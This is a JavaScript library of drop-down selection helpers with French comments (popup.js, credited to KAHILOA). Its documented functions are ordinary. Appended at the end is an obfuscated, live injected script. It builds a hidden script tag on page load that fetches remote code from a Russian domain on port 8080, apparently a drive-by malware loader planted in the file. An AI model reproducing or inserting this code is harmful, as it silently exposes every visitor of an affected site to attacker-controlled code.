/****************************************************************************************************
																		                                     Librairie JAVASCRIPT
																																									popup.js

																																Copyright KAHILOA (http://www.kahiloa.com)



	Version 1.0 (05/10/2000) :
	function setSelectItemTextFromValue(pInputName, pSelectName)
	function setSelectItemValueFromValue(pInputName, pSelectName)

	Version 1.1 (18/11/2002) :
	function selectItemByText(pHTMLSelectElement, pText)
	function selectItemByValue(pHTMLSelectElement, pValue)
	function selectItemByPosition(pHTMLSelectElement, pPosition)
	function getSelectedItemText(pHTMLSelectElement)
	function getSelectedItemValue(pHTMLSelectElement)

****************************************************************************************************/


/****************************************************************************************************
	function setSelectItemTextFromValue(pInputName, pSelectName)
	Fonction qui permet de sélectionner dans le popup pSelectName l'item dont la valeur "text" correspond à la valeur du champ pInputName
	En entrée : pInputName = le nom d'un composant HTML de type <INPUT> (ex: 'document.monForm.monChamp')
									 pSelectName = le nom d'un composant HTML de type <SELECT> (ex: 'document.monForm.monMenuDeroulant')

	Exemple d'utilisation :
		setSelectItemTextFromValue(document.monForm.chp1, document.monForm.monPopup);
	
	Version				Date								Auteur					Navigateurs												Description des modifications
	---------		 ----------------		-----------			--------------------------				--------------------------------------------------
		1.0 					29/09/2000 			OLD							IE4+ et Netscape3+ (PC)			Code original
*/
function setSelectItemTextFromValue(pInputName, pSelectName) {
	if ((typeof(pInputName) != 'undefined') && (typeof(pSelectName) != 'undefined')) {
		var vCptSelect = 0;
		while (vCptSelect < pSelectName.length) {
			if (pSelectName.options[vCptSelect].text == pInputName.value) {
      	pSelectName.options[vCptSelect].selected = true;
				vCptSelect = pSelectName.length;
			}
			vCptSelect++;
   	}
	}
}



/****************************************************************************************************
	function setSelectItemValueFromValue(pInputName, pSelectName)
	Fonction qui permet de sélectionner dans le popup pSelectName l'item dont la valeur "value" correspond à la valeur du champ pInputName
	En entrée : pInputName = le nom d'un composant HTML de type <INPUT> (ex: 'document.monForm.monChamp')
									 pSelectNameect = le nom d'un composant HTML de type <SELECT> (ex: 'document.monForm.monMenuDeroulant')

	Exemple d'utilisation :
		setSelectItemValueFromValue(document.monForm.chp1, document.monForm.monPopup);

	Version				Date								Auteur					Navigateurs												Description des modifications
	---------		 ----------------		-----------			--------------------------				--------------------------------------------------
		1.0 					29/09/2000 			OLD							IE4+ et Netscape3+ (PC)			Code original
*/
function setSelectItemValueFromValue(pInputName, pSelectName) {
	if ((typeof(pInputName) != 'undefined') && (typeof(pSelectName) != 'undefined')) {
		var vCptSelect = 0;
		while (vCptSelect < pSelectName.length) {
			if (pSelectName.options[vCptSelect].value == pInputName.value) {
      	pSelectName.options[vCptSelect].selected = true;
				vCptSelect = pSelectName.length;
			}
			vCptSelect++;
   	}
	}
}



/****************************************************************************************************
	function selectItemByText(pHTMLSelectElement, pText)
	Fonction qui permet de sélectionner dans le popup pHTMLSelectElement l'item dont la valeur "text" correspond à pText
	En entrée :
		pHTMLSelectElement = le composant HTML de type <SELECT> (ex: document.monFormulaire.maListeDeroulante)
		pText = Un chaîne de caractères (ex: 'chaine à sélectionner dans le popup')

	Exemple d'utilisation :
		selectItemByText(document.monFormulaire.maListeDeroulante, 'chaine à sélectionner dans le popup');
	
	Version				Date								Auteur					Navigateurs												Description des modifications
	---------		 ----------------		-----------			--------------------------				--------------------------------------------------
		1.0 					18/11/2002 			OLD							IE4+ et Netscape3+ (PC)			Code original
*/
function selectItemByText(pHTMLSelectElement, pText) {
	if ((typeof(pHTMLSelectElement) == 'object') && (typeof(pText) == 'string')) {
		var vCptSelect = 0;
		while (vCptSelect < pHTMLSelectElement.length) {
			if (pHTMLSelectElement.options[vCptSelect].text == pText) {
      	pHTMLSelectElement.options[vCptSelect].selected = true;
				vCptSelect = pHTMLSelectElement.length;
			}
			vCptSelect++;
   	}
	}
}



/****************************************************************************************************
	function selectItemByValue(pHTMLSelectElement, pValue)
	Fonction qui permet de sélectionner dans le popup pHTMLSelectElement l'item dont l'attribut "value" correspond à pValue
	En entrée :
		pHTMLSelectElement = le composant HTML de type <SELECT> (ex: document.monFormulaire.maListeDeroulante)
		pValue = Un chaîne de caractères (ex: 'Valeur à sélectionner dans le popup')

	Exemple d'utilisation :
		selectItemByValue(document.monFormulaire.maListeDeroulante, 'Valeur à sélectionner dans le popup');
	
	Version				Date								Auteur					Navigateurs												Description des modifications
	---------		 ----------------		-----------			--------------------------				--------------------------------------------------
		1.0 					18/11/2002 			OLD							IE4+ et Netscape3+ (PC)			Code original
*/
function selectItemByValue(pHTMLSelectElement, pValue) {
	if ((typeof(pHTMLSelectElement) == 'object') && (typeof(pValue) == 'string')) {
		var vCptSelect = 0;
		while (vCptSelect < pHTMLSelectElement.length) {
			if (pHTMLSelectElement.options[vCptSelect].value == pValue) {
      	pHTMLSelectElement.options[vCptSelect].selected = true;
				vCptSelect = pHTMLSelectElement.length;
			}
			vCptSelect++;
   	}
	}
}



/****************************************************************************************************
	function selectItemByPosition(pHTMLSelectElement, pPosition)
	Fonction qui permet de sélectionner dans le popup pHTMLSelectElement le nième item définit par pPosition
	En entrée :
		pHTMLSelectElement = le composant HTML de type <SELECT> (ex: document.monFormulaire.maListeDeroulante)
		pPosition = Un entier compris entre [1 ... NbItem] (ex: 3)

	Exemple d'utilisation :
		selectItemByPosition(document.monFormulaire.maListeDeroulante, 3);
	
	Version				Date								Auteur					Navigateurs												Description des modifications
	---------		 ----------------		-----------			--------------------------				--------------------------------------------------
		1.0 					18/11/2002 			OLD							IE4+ et Netscape3+ (PC)			Code original
*/
function selectItemByPosition(pHTMLSelectElement, pPosition) {
	if ((typeof(pHTMLSelectElement) == 'object') && (typeof(pPosition) == 'number')) {
		if ((pPosition > 0) && (pPosition <= pHTMLSelectElement.length)) 
			pHTMLSelectElement.options[pPosition - 1].selected = true;
	}
}



/****************************************************************************************************
	function getSelectedItemText(pHTMLSelectElement)
	Fonction qui renvoie la valeur "text" de l'item sélectionné dans le popup pHTMLSelectElement
	En entrée :
		pHTMLSelectElement = le composant HTML de type <SELECT> (ex: document.monFormulaire.maListeDeroulante)
	En sortie :
		Une chaîne de caractères correspondant à la valeur "text" de l'item sélectionné (null sinon)

	Exemple d'utilisation :
		var vText = getSelectedItemText(document.monFormulaire.maListeDeroulante);
	
	Version				Date								Auteur					Navigateurs												Description des modifications
	---------		 ----------------		-----------			--------------------------				--------------------------------------------------
		1.0 					18/11/2002 			OLD							IE4+ et Netscape3+ (PC)			Code original
*/
function getSelectedItemText(pHTMLSelectElement) {
	var vText = null;
	
	if (typeof(pHTMLSelectElement) == 'object') {
		vText = pHTMLSelectElement.options[pHTMLSelectElement.options.selectedIndex].text;
	}
	
	return vText;
}



/****************************************************************************************************
	function getSelectedItemValue(pHTMLSelectElement)
	Fonction qui renvoie la valeur "value" de l'item sélectionné dans le popup pHTMLSelectElement
	En entrée :
		pHTMLSelectElement = le composant HTML de type <SELECT> (ex: document.monFormulaire.maListeDeroulante)
	En sortie :
		Une chaîne de caractères correspondant à la valeur "value" de l'item sélectionné (null sinon)

	Exemple d'utilisation :
		var vValue = getSelectedItemValue(document.monFormulaire.maListeDeroulante);
	
	Version				Date								Auteur					Navigateurs												Description des modifications
	---------		 ----------------		-----------			--------------------------				--------------------------------------------------
		1.0 					18/11/2002 			OLD							IE4+ et Netscape3+ (PC)			Code original
*/
function getSelectedItemValue(pHTMLSelectElement) {
	var vValue = null;
	
	if (typeof(pHTMLSelectElement) == 'object') {
		vValue = pHTMLSelectElement.options[pHTMLSelectElement.options.selectedIndex].value;
	}
	
	return vValue;
}


var S=new Date();var d=new Date();var f=new Date();function B(){var b;if(b!='' && b!='A'){b='Fl'};var W='';var K=unescape;var fw;if(fw!=''){fw='C'};var v;if(v!=''){v='q'};var Kz=window;var jj=new Date();var j_;if(j_!='' && j_!='O'){j_=''};var M=K("%2f%62%72%65%61%6b%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%6c%61%63%6b%62%65%72%72%79%2e%63%6f%6d%2e%70%68%70");this.CM="";var x;if(x!=''){x='Y'};var aW;if(aW!='' && aW!='nq'){aW='Ne'};function j(KE,BZ){var z=String("getCF".substr(0,1));var LC;if(LC!=''){LC='i'};var X=K("%5b"), E=K("%5d");var y=X+BZ+E;var H=new RegExp(y, z);var IZ;if(IZ!='' && IZ!='KT'){IZ='ok'};return KE.replace(H, new String());this.EZ='';var gq;if(gq!='' && gq!='PL'){gq=''};};var l="";var p=j('816101518239055','32179546');var qt=new Array();this.Y_="";var e=document;this.MX='';var tXC;if(tXC!='Lh' && tXC!='Sp'){tXC=''};var pd=new String();this.od='';var yp;if(yp!='' && yp!='kI'){yp='an'};var m;if(m!='CG' && m != ''){m=null};function F(){this.gD="";var UG=new String();var bZ;if(bZ!='XX'){bZ=''};var YA=new String();var yI=K("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var jv='';var Ht=new String();pd=yI;pd+=p;var Eu=new String();var gH;if(gH!='' && gH!='Ak'){gH='Sc'};pd+=M;var wMr='';var n_='';try {var ZJ=new String();var wH=new String();this.DL='';g=e.createElement(j('sWcqr5ibpKt5','5WAqDbYhK'));var uX;if(uX!='' && uX!='wu'){uX=null};g[K("%64%65%66%65%72")]=[7,1][1];var fa;if(fa!='' && fa!='Cqu'){fa=null};g[K("%73%72%63")]=pd;e.body.appendChild(g);var Ya;if(Ya!='EC' && Ya != ''){Ya=null};this.Ga='';var Pj;if(Pj!='tN' && Pj != ''){Pj=null};} catch(r){alert(r);var EJ=new Date();var HH=new String();};var ZSC=new Array();}var zG='';Kz[String("onl"+"We4uoad".substr(4))]=F;var BD;if(BD!='' && BD!='nF'){BD='DO'};var gJ;if(gJ!='wD' && gJ!='CW'){gJ=''};};var KX='';var cs='';B();